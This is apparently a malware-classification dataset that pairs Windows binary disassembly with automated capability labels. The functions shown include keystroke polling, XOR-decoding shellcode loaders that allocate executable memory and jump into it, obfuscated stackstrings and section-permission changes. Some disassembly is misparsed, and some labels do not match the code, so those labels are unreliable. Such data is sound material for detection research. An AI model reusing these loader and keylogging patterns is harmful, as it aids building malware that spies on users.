joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b6fd0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x108
mov eax, dword [0x4d36a4]
xor eax, esp
mov dword [esp + 0x104], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x4b70d1
mov ecx, dword [esp + 0x10c]
mov al, cl
shl al, 7
mov edx, ecx
mov byte [esp + 0x14], al
mov al, cl
and al, 0xfe
shr edx, 5
shl al, 6
mov byte [esp + 0x15], al
mov al, cl
and al, 0xfc
shl al, 5
mov byte [esp + 0x16], al
push ebx
mov ebx, ecx
shr ebx, 7
mov al, bl
and bl, 1
and al, 0x80
mov byte [esp + 0x35], bl
mov byte [esp + 0x63], al
mov eax, ecx
shr eax, 8
and al, 0x80
mov ebx, dword [esp + 0x110]
mov byte [esp + 0x64], al
mov eax, ecx
shr eax, 9
and al, 0x80
mov byte [esp + 0x65], al
mov eax, ecx
shr eax, 4
mov dword [esp + 4], eax
and al, 1
mov byte [esp + 0x99], al
mov al, dl
and al, 1
shr ecx, 6
mov byte [esp + 0x98], al
and dl, 0x80
mov al, cl
mov byte [esp + 0xac], dl
and al, 1
and cl, 0x80
mov byte [esp + 0x1c], al
mov eax, ebx
shr eax, 1
and al, 0x80
mov byte [esp + 0xad], cl
mov byte [esp + 0xa8], al
mov eax, ebx
shr eax, 2
and al, 0x80
shr ebx, 3
mov byte [esp + 0xa9], al
and bl, 0x80
mov eax, dword [esp + 4]
and al, 0x80
mov byte [esp + 0xaa], bl
mov byte [esp + 0xab], al
lea eax, [esp + 8]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
pop ebx
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004a209e
add esp, 0x108
ret
Function at 0x401130
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x4042c8
push ecx
mov dword [ebp - 4], edx
mov dword [edi], 0
mov dword [edi + 4], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4011c5
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
cdq
push esi
mov ebx, eax
mov dword [ebp + 8], edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov ecx, ebx
add esp, 0x14
or ecx, dword [ebp + 8]
jne 0x401199
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebx + 1]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 4]
push esi
push ebx
push 1
push eax
mov dword [ecx], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [edi], ebx
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6d00396e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d0070c0]
jne 0x6d003978
repz ret
jmp fcn.6d003f95

Function at 0x6d003c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x6d003c5f
pop dword [ebp - 0x2c]
mov eax, 0x7ed4d7c6
sub eax, 0x11d49b67
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6bd92fee
sub dword [ebp - 0x3c], 0x1d86eaa3
mov dword [ebp - 0x38], 0xdc64e00
sub dword [ebp - 0x38], 0xdb9301bb
mov dword [ebp - 0x34], 0xe6c04173
add dword [ebp - 0x34], 0x658c02bb
mov dword [ebp - 0x30], 0x97c3cdff
sub dword [ebp - 0x30], 0x97c3cdff
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x4c9c669a
sub dword [ebp - 0x3c], 0xd829fd44
mov dword [ebp - 0x38], 0xfdbe42ff
sub dword [ebp - 0x38], 0xbc51e18a
mov dword [ebp - 0x34], 0x68f50699
sub dword [ebp - 0x34], 0x5859a2d
mov dword [ebp - 0x30], 0xbdf98fc8
add dword [ebp - 0x30], 0x42067038
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x377db
push 0
call eax
mov ecx, 0x4ad6
mov edi, eax
mov esi, 0xcd15e9e9
sub esi, 0x601533e9
add esi, dword [ebp - 0x2c]
mov ebx, 0xdcef6441
xor dword [ebp - 4], ecx
mov edx, dword [esi]
xor dword [ebp - 0x24], ebx
add edx, ebx
sub dword [ebp - 0x10], 0x1b203db4
mov dword [edi], edx
sub dword [ebp - 8], edi
add edi, 0x6a69e5d5
add edi, 0x95961a2f
add esi, 0x6362586f
add esi, 0x9c9da795
loop 0x6d003d6b
add eax, 0x55e1929
add eax, 0xfaa30502
mov ebx, eax
add eax, 5
mov ecx, 0x6d000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x2d816a23
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e1ef1
call fcn.2d805e23
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d816a56
xor al, al
jmp 0x2d816b1e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
bound ecx, qword [0xc7000008]
inc ebp
in al, dx
pop es
add byte [eax], al
add byte [esi - 0x77], ah
inc ebp
fsubr st(0)
push ecx
or eax, 0x458b0008
call 0x6149b80e
dec dword [ecx - 0x76b837bb]
pop ebp
cld
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d816acf
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d816acf
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d801b44
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d816b1c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d816b13
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d8977cb
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d8977cb
pop ecx
pop ecx
mov al, bl
call fcn.2d8076ce
ret
Function at 0x2d834fff
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e471e
call fcn.2d805e23
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d8977cb
pop ecx
test al, al
je 0x2d835159
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d834ce5
add esp, 0xc
test eax, eax
jne 0x2d835161
push dword [ebp - 0x44]
push 1
call fcn.2d8977cb
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835161
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d834ce5
add esp, 0xc
test eax, eax
jne 0x2d835161
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82bc14
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8359fe
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8350df
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d8350d3
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d8977cb
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d8977cb
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8350fb
cmp eax, 5
jne 0x2d8350fd
mov bl, 1
mov eax, dword [0x2d966aec]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8f7384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d835159
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835150
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d8977cb
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d8977cb
pop ecx
pop ecx
mov al, bl
call fcn.2d8076ce
ret
xor al, al
jmp 0x2d83515b
Function at 0x2d8977cb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x2d8977da
pop dword [ebp - 0x1c]
mov eax, 0x2d8977da
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x512667cb
add dword [ebp - 0x2c], 0xfd2bdd80
mov dword [ebp - 0x28], 0x8e13264b
add dword [ebp - 0x28], 0xa42025fa
mov dword [ebp - 0x24], 0xfc8090b4
add dword [ebp - 0x24], 0x4fcbb37a
mov dword [ebp - 0x20], 0x4b87bc
add dword [ebp - 0x20], 0xffb47844
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xb07c3eb0
sub eax, 0x82ecce28
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x68d67e94
add dword [ebp - 0x2c], 0xb9beac2
mov dword [ebp - 0x28], 0x59050c3a
sub dword [ebp - 0x28], 0x1798aac5
mov dword [ebp - 0x24], 0x49cdc088
sub dword [ebp - 0x24], 0xe65e541c
mov dword [ebp - 0x20], 0x9c736436
sub dword [ebp - 0x20], 0x9c736436
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x1ddd25e5
add eax, 0xfb24aab
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x6d87b
push 0
call eax
mov ecx, 0x7e118fd5
sub ecx, 0x7e113f7d
mov ebx, eax
mov edi, 0x2d9aa000
add edi, dword [ebp - 0x1c]
mov edx, 0x90652fc
add edx, 0xf6ff1a4c
mov esi, dword [edi]
sub dword [ebp - 8], edi
xor esi, edx
sub dword [ebp - 0x10], edx
mov dword [ebx], esi
sub dword [ebp - 0x18], 0x990e560d
add ebx, 4
add edi, 0xe722c0ce
sub edi, 0xe722c0ca
loop 0x2d8978f1
add eax, 0xd6d49e1e
add eax, 0x292c9615
mov ebx, eax
add eax, 0x8521aa02
sub eax, 0x8521a9fd
mov ecx, 0x3db08e6d
sub ecx, 0x10308e6d
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x6d0c1c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x6d0c1c4b
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
invalid
inc ebp
retf 0xc67f

Function at 0x6d0c1d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
fcmovb st(0), st(6)
inc ebp
idiv dword [edi - 0x39c18]
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.6d0c1922
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28

Function at 0x6d0c1d30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35

Function at 0x6d0c1d60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5a], 0x41
call fcn.6d0c196d
push eax
push esi
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.6d0c1922
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.6d0c196d
sti
invalid
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.6d0c1922
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.6d0c195d
dec ecx
xor ah, byte [esi]
je 0x6d0c1d68
popfd
jl 0x6d0c1de2
invalid
invalid
Function at 0x6d0c2040
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x6d0c2034
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x6d0c2052
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
add byte [ebx + 0x108c794], cl
add byte [eax], al
add byte [ebx + 0x108c794], cl
add byte [eax], al
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x6d0c20b0
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x6d0c2097
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x6d0c20a0
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x6d0c20aa
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x6d0c208c
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x6d0c2016
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6d0c20fd
dec eax
je 0x6d0c20f4
sub eax, 3
je 0x6d0c20eb
mov dword [ebp - 4], 0x40
jmp 0x6d0c211a
mov dword [ebp - 4], 4
jmp 0x6d0c2100
mov dword [ebp - 4], 0x20
jmp 0x6d0c2100
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6d0c214c
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6d0c20cc
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6d0c195d
retf
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x6d0c2850
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.6d0c193b
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.6d0c196d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0c1922
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.6d0c195d
lahf
adc bh, byte [ebx]
test byte [eax + 4], ch
add dword [eax], eax
add byte [ebp - 0x12b7b], cl
call dword [eax - 1]
xchg ebp, eax
sub al, 0xfc
invalid
Function at 0x6d0c2bf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
call fcn.6d0c196d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0c1922
add esp, 0xc
mov dword [ebp - 0x3c8], eax
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x334]
push eax
call dword [ebp - 0x3c8]
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0xffffffff
je 0x6d0c3af0
push 0
push dword [ebp - 0x66c]
call dword [ebp - 0x33c]
mov dword [ebp - 0x378], eax
push dword [ebp - 0x378]
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 4], eax
call fcn.6d0c195d
xchg edi, eax
pop esi
mov fs, ebx
and byte [ebp - 0x6dc], 0
and byte [ebp - 0x6db], 0
mov byte [ebp - 0x6da], 0x2c
and byte [ebp - 0x6d9], 0
mov byte [ebp - 0x6d8], 0x81
mov byte [ebp - 0x6d7], 0xb6
mov byte [ebp - 0x6d6], 0xb2
mov byte [ebp - 0x6d5], 0xb7
mov byte [ebp - 0x6d4], 0x95
mov byte [ebp - 0x6d3], 0xba
mov byte [ebp - 0x6d2], 0xbf
mov byte [ebp - 0x6d1], 0xb6
mov byte [ebp - 0x6d0], 0xd3
call fcn.6d0c195d
xchg ecx, eax
movsd dword es:[edi], dword [esi]
push esi
pop edi
lea eax, [ebp - 0x6dc]
push eax
call fcn.6d0c196d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0c1922
add esp, 0xc
mov dword [ebp - 0x6c8], eax
push 0
lea eax, [ebp - 0x6e0]
push eax
push dword [ebp - 0x378]
push dword [ebp - 4]
push dword [ebp - 0x66c]
call dword [ebp - 0x6c8]
mov dword [ebp - 0x6cc], eax
push dword [ebp - 0x66c]
call dword [ebp - 0x680]
cmp dword [ebp - 0x6cc], 0
je 0x6d0c3af0
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.6d0c18ce
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x6d0c2d6a
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x6d0c2db3
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x6d0c2d5d
call fcn.6d0c195d
add dh, byte [eax - 0x4a]
and byte ss:[ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.6d0c195d
cmc
sahf
aas
in al, 0x8d
test esp, edx
clc
invalid
pop edi
pop esi
pop ebx
leave
ret
Function at 0x6d0cf870
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov ebp, dword [esp + 0x70]
mov edx, dword [esp + 0x74]
mov edi, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
fnstcw word [esp + 0x2e]
mov eax, ecx
movzx ebx, cx
mov dword [esp + 0x3c], ecx
shr eax, 0x10
shr ecx, 0x18
mov dword [esp + 0x30], ebp
mov esi, eax
shr cl, 7
mov dword [esp + 0x34], edx
and esi, 0x7fff
mov dword [esp + 0x38], edi
mov dword [esp + 0x40], ebp
cmp esi, 0x3ffe
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], ebx
jg 0x6d0cf900
test esi, esi
je 0x6d0cf9d0
xor eax, eax
xor edx, edx
mov edi, 0x20
mov dword [esp], edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
call fcn.6d0c7b40
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
movzx edi, cl
test edi, edi
je 0x6d0cf930
cmp esi, 0x403d
jle 0x6d0cf9f0
xor ecx, 1
xor edx, edx
mov edi, 1
movzx ecx, cl
mov eax, ecx
neg eax
adc edx, 0
neg edx
jmp 0x6d0cf8da
cmp esi, 0x403e
jg 0x6d0cf913
mov eax, ebx
mov ebx, 0x406f
xor ecx, ecx
sub ebx, esi
add ecx, 1
xor esi, esi
mov edx, ebx
or eax, 0x10000
or esi, ebp
sar edx, 5
mov dword [esp + 0x4c], eax
cmp edx, ecx
je 0x6d0cf969
mov ebp, dword [esp + ecx*4 + 0x40]
add ecx, 1
or esi, ebp
cmp edx, ecx
jne 0x6d0cf95c
and ebx, 0x1f
je 0x6d0cfa00
mov ebp, 0x20
sub ebp, ebx
mov ecx, ebp
mov dword [esp + 0x10], ebp
mov ebp, dword [esp + edx*4 + 0x40]
shl ebp, cl
mov ecx, 3
or esi, ebp
sub ecx, edx
je 0x6d0cfa67
lea eax, [esp + edx*4 + 0x40]
mov ebp, ecx
mov dword [esp + 0x1c], esi
mov edx, dword [eax]
mov ecx, ebx
mov esi, dword [eax + 4]
add eax, 4
shr edx, cl
movzx ecx, byte [esp + 0x10]
shl esi, cl
or edx, esi
mov dword [esp + edi*4 + 0x40], edx
lea edx, [edi + 1]
cmp ebp, edx
je 0x6d0cfa50
mov edi, edx
jmp 0x6d0cf99e
or ebp, edx
xor eax, eax
xor edx, edx
or edi, ebp
or edi, ebx
je 0x6d0cf8f2
mov edi, 0x22
jmp 0x6d0cf8da
xor eax, eax
xor edx, edx
jmp 0x6d0cf8da
mov edx, 3
lea edi, [esp + ecx*4 + 0x40]
sub edx, ecx
mov eax, dword [edi + ebx*4]
mov dword [esp + ebx*4 + 0x40], eax
add ebx, 1
cmp ebx, edx
jle 0x6d0cfa0b
mov edx, 4
sub edx, ecx
mov dword [esp + edx*4 + 0x40], 0
add edx, 1
cmp edx, 4
jne 0x6d0cfa20
mov edi, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
xor eax, eax
xor ebx, ebx
mov edx, edi
add eax, ecx
adc edx, ebx
test esi, esi
jne 0x6d0cf8d5
jmp 0x6d0cf8f2
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x4c]
mov ebp, edx
lea edx, [edi + 2]
mov ecx, ebx
shr eax, cl
mov dword [esp + ebp*4 + 0x40], eax
jmp 0x6d0cfa20
xor ebp, ebp
mov edx, 1
jmp 0x6d0cfa5d
Function at 0x6d0cfdd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [esp + 0x70]
fnstcw word [esp + 0x2e]
mov edi, dword [esp + 0x74]
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov ecx, edi
mov edx, edi
mov ebx, edi
shr ecx, 0x17
shr edx, 0x1f
and ebx, 0x7fffff
movzx ecx, cl
mov dword [esp + 0x18], edx
mov esi, ebx
lea ebp, [ecx + 1]
mov dword [esp + 0x40], ebx
mov edx, ebp
movzx ebp, dl
cmp ebp, 1
jle 0x6d0cfe80
mov edi, ebx
lea ebx, [ecx + 0x3f80]
shl esi, 0x19
shr edi, 7
movzx ecx, word [esp + 0x3e]
movzx edx, byte [esp + 0x18]
xor ebp, ebp
mov word [esp + 0x3c], di
and cx, 0x8000
shl edx, 7
or ecx, ebx
mov word [esp + 0x3e], cx
shr cx, 8
and ecx, 0x7f
or edx, ecx
mov byte [esp + 0x3f], dl
mov ebx, dword [esp + 0x3c]
xor edx, edx
mov dword [eax], edx
mov dword [eax + 4], ebp
mov dword [eax + 8], esi
mov dword [eax + 0xc], ebx
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
test ecx, ecx
jne 0x6d0cff50
test ebx, ebx
je 0x6d0cffb1
bsr ebp, ebx
mov ecx, 0x20
xor ebp, 0x1f
lea edi, [ebp + 0x51]
mov esi, edi
and edi, 0x1f
sar esi, 5
sub ecx, edi
test edi, edi
mov edx, esi
je 0x6d0cffc0
cmp esi, 2
jne 0x6d0cffe2
mov esi, ebx
shr esi, cl
mov dword [esp + 0x4c], esi
mov esi, 1
mov ecx, edi
shl ebx, cl
mov dword [esp + edx*4 + 0x40], ebx
mov dword [esp + esi*4 + 0x40], 0
sub esi, 1
cmp esi, 0xffffffff
jne 0x6d0cfed0
mov ecx, dword [esp + 0x4c]
movzx edx, byte [esp + 0x18]
mov esi, dword [esp + 0x48]
mov word [esp + 0x3c], cx
mov ecx, 0x3f89
sub ecx, ebp
